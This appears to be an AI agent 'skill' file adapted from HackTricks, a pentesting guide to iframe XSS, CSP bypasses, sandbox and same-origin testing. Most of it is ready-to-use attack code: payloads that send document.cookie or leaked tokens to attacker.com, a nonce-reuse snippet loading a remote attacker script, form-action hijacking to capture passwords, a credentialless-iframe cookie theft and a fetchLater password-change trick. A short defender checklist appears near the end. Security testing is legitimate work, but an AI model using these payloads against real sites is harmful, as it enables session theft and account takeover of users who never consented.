Hacktricks-skills iframe-xss-csp-pentest
How to test for iframe-based XSS, CSP bypasses, and SOP violations. Use this skill whenever the user mentions iframes, cross-site scripting, content security policy, sandbox attributes, credentialless iframes, or wants to test web application security around embedded content. Trigger for any pentesting task involving iframe injection, CSP evasion, or same-origin policy testing.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/pentesting-web/xss-cross-site-scripting/iframes-in-xss-and-csp/SKILL.MDIframe XSS, CSP & SOP Pentesting
A comprehensive guide for testing iframe-based vulnerabilities including XSS vectors, CSP bypasses, and SOP violations.
Quick Reference
# Start local test server python3 -m http.server 8000 # Test iframe XSS payloads # See sections below for specific attack vectors
Iframe XSS Vectors
Three Content Injection Methods
- URL-based
- Load external or same-origin pagessrc
protocol - Embed content directly in the URLdata:
attribute - Embed HTML content directlysrcdoc
Same-Origin Access Patterns
<!-- Parent page --> <script> var secret = "parent-secret"; </script> <iframe id="cross-origin" src="http://other-domain.com/page.html"></iframe> <iframe id="same-origin" src="child.html"></iframe> <iframe id="srcdoc" srcdoc="<script>var secret='srcdoc-secret';</script>"></iframe> <iframe id="data-protocol" src="data:text/html,<script>var secret='data-secret';</script>"></iframe> <script> // Cross-origin iframe: CANNOT access child.secret (SOP blocks) // Same-origin iframe: CAN access child.secret // srcdoc: CAN access (same origin as parent) // data: protocol: CANNOT access (null origin) console.log(document.getElementById('same-origin').contentWindow.secret); console.log(document.getElementById('srcdoc').contentWindow.secret); </script>
Key insight: Only same-origin iframes can access parent/child variables. Cross-origin and
data: protocol iframes are blocked by SOP.
CSP Bypass Techniques
Basic CSP Bypass via Iframe
Even with
script-src 'none', iframes with URL-based src can execute scripts:
<!-- Parent with restrictive CSP --> <meta http-equiv="Content-Security-Policy" content="script-src 'none'"> <iframe src="malicious.html"></iframe>
<!-- malicious.html (no CSP) --> <script> alert(document.cookie); // Can access parent if same-origin alert(parent.secret); </script>
Why this works: The CSP applies to the parent document, not the iframe content. If you can upload a file to the server, you can bypass
script-src 'none'.
Advanced CSP Bypasses (2023-2025)
1. Dangling Markup / Named Iframe Exfiltration
When HTML is reflected but CSP blocks scripts, use dangling iframe attributes:
<!-- Inject before sensitive content --> <iframe name="//attacker.com/?">
// On attacker.com const victim = window.frames[0]; victim.location = 'about:blank'; console.log(victim.name); // Contains leaked data up to next quote
Use case: Leaking CSRF tokens, session IDs, or any reflected data when
script-src 'none' is enforced.
2. Nonce Reuse via Same-Origin Iframe
If you can inject same-origin HTML, read the nonce from the DOM:
// In same-origin iframe const nonce = top.document.querySelector('[nonce]').getAttribute('nonce'); const script = top.document.createElement('script'); script.src = 'https://attacker.com/pwn.js'; script.nonce = nonce; top.document.body.appendChild(script);
Requirements:
- Same-origin HTML injection point
- CSP uses nonces (not just hashes)
may still allow thisstrict-dynamic
3. Form-Action Hijacking
If
form-action directive is missing, redirect form submissions:
<!-- Injected iframe or HTML --> <iframe src="https://attacker.com/capture.php"></iframe> <form action="https://attacker.com/capture.php" method="POST"> <!-- Password managers may auto-fill here --> </form>
Defense: Always include
form-action 'self' in CSP.
Testing CSP Bypasses
Use the test server script to verify bypasses:
# Run the test server python3 scripts/test_csp_bypass.py # Visit http://localhost:8000 to see: # - Cookie theft with script-src 'self' # - Various iframe configurations
Sandbox Attribute Testing
Default Restrictions
Empty sandbox applies ALL restrictions:
<iframe sandbox="" src="page.html"></iframe>
Blocked by default:
- Script execution
- Form submission
- Top-level navigation
- Plugin usage
- Same-origin access
- Auto-play media
Granular Permissions
<!-- Allow scripts only (isolated origin) --> <iframe sandbox="allow-scripts" src="page.html"></iframe> <!-- Allow scripts + same-origin access --> <iframe sandbox="allow-scripts allow-same-origin" src="page.html"></iframe> <!-- Allow top navigation (user activation required in modern browsers) --> <iframe sandbox="allow-top-navigation-by-user-activation" src="page.html"></iframe> <!-- Allow downloads without user activation --> <iframe sandbox="allow-downloads-without-user-activation" src="page.html"></iframe>
Testing Sandbox Escapes
- Check if
is present - enables parent accessallow-same-origin - Check if
is present - enables JS executionallow-scripts - Check if
is present - enables navigation attacksallow-top-navigation - Test form submission if
is presentallow-forms
Credentialless Iframes
What They Do
Chrome 110+ loads iframes without credentials while maintaining SOP:
<iframe src="https://victim.com/page" credentialless></iframe>
Effects:
- No cookies sent to iframe
- No localStorage/IndexedDB shared
- Same-origin scripts can still interact via DOM
- CSRF protection usually works (no auth cookies)
- Password managers disabled
Self-XSS + Credentialless Attack
<!-- Attacker page --> <iframe id="credless" src="https://victim.com/login" credentialless> <!-- Contains Self-XSS payload in username field --> </iframe> <iframe id="authed" src="https://victim.com/dashboard"> <!-- User is logged in here --> </iframe> <script> // After Self-XSS executes in credless iframe // Both iframes share same top-level origin const cookie = document.getElementById('authed').contentWindow.document.cookie; console.log('Stolen cookie:', cookie); </script>
Requirements:
- Self-XSS vulnerability on victim site
- User visits attacker page while logged in
- Chrome 110+ or equivalent browser
Testing Credentialless Attacks
- Check browser support (Chrome 110+, Edge, Firefox 110+)
- Look for Self-XSS vectors (user-controlled HTML in profile/settings)
- Test if multiple iframes can share DOM access
- Verify cookie partitioning behavior
fetchLater API Abuse
What It Does
Defers requests until page unload or timeout:
const req = new Request('/change-password', { method: 'POST', body: JSON.stringify({password: 'attacker-password'}), credentials: 'include' }); // Execute after 1 minute fetchLater(req, {activateAfter: 60000});
Attack Pattern
- Inject Self-XSS in attacker's session
- Set
request to perform actionfetchLater - Logout from attacker session
- Victim logs in with their credentials
executes in victim's sessionfetchLater
Requirements:
- Browser supports
(emerging API)fetchLater - Self-XSS injection point
- Victim visits attacker page
Defense:
- CSP
controlsconnect-src
requestsfetchLater - Feature-detect before using
SOP Considerations
Cross-Origin Communication
// Parent page const iframe = document.getElementById('cross-origin-frame'); // This will FAIL if iframe is cross-origin try { console.log(iframe.contentWindow.document.cookie); } catch (e) { console.log('SOP blocked access:', e.message); } // Use postMessage for cross-origin communication iframe.contentWindow.postMessage('hello', 'https://trusted-origin.com');
Testing SOP Violations
- Check iframe origins - Same-origin vs cross-origin
- Test parent access - Can parent read iframe content?
- Test child access - Can iframe read parent content?
- Test postMessage - Is message origin validation present?
- Check for
origin -null
protocol iframesdata:
Defensive Checklist
For Defenders
- Include ALL CSP directives:
,form-action
,frame-src
,child-srcobject-src - Use
with nonces, don't rely on nonce secrecystrict-dynamic - Apply
carefully - avoidsandbox
unless necessaryallow-same-origin - Consider COOP+COEP deployment
- Use
for third-party embeds in COEP environmentscredentialless - Validate and sanitize all iframe
andsrc
attributessrcdoc - Implement proper
origin validationpostMessage
For Pentesters
- Test all three iframe content methods (URL, data:, srcdoc)
- Try CSP bypasses with uploaded files
- Test dangling markup exfiltration
- Check for nonce reuse opportunities
- Test form-action hijacking
- Verify sandbox restrictions
- Test credentialless iframe interactions
- Check for fetchLater support and abuse potential
- Map SOP boundaries between frames
Common Payloads
<!-- Data: protocol XSS (if allowed) --> <iframe srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe> <!-- JSONP endpoint abuse --> <iframe srcdoc='<script src="/jsonp?callback=(function(){window.top.location.href=`http://attacker.com/?c=`+document.cookie;})();//"></script>'></iframe> <!-- Defer/async script in iframe --> <iframe src='data:text/html,<script defer src="data:text/javascript,alert(1)"></script>'></iframe> <!-- Named iframe exfiltration --> <iframe name="//attacker.com/?token="></iframe>